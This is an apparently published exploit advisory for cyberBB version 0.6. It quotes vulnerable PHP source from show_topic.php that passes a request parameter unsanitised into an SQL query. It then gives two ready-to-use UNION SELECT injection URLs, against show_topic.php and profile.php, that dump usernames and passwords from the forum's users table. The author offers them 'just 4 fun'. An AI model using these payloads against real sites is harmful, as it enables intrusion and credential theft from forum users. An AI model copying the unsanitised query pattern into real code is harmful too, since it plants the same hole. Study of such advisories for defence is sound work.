cyberbb-sql.txt

`########################################################################################  
#  
# Name : cyberBB v. 0.6 Multiply Remote SQL Injection Vulnerabilities  
# Author : cOndemned [ Dark-Coders ]  
# Greetz : Avantura, str0ke, ZaBeaTy, voo|doo, irk4z, and many, many more...  
# Conditions : Magic quotes gpc = On & Off / User must be logged into   
#  
########################################################################################  
  
source of /show_topic.php :  
  
21. $id=$_REQUEST['id'];  
22.  
23. if(isset($_REQUEST['p'])) $p=$_REQUEST['p']; else $p='';  
24.  
25. $db = mysql_connect($mysql_server,$mysql_user,$mysql_pass);  
26.  
27. mysql_select_db($mysql_db);  
28.  
29. $sql = "SELECT * FROM `topics` WHERE `id` = $id";  
  
  
proof of concept :  
  
/show_topic.php?id=-1+UNION+SELECT+1,2,3,4,concat(username,0x3a,password),6,7+FROM+users/*  
  
  
second sql injection (magic quotes gpc must be off):  
  
/profile.php?user='-1+UNION+SELECT+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11+FROM+users/*  
  
  
just 4 fun  
`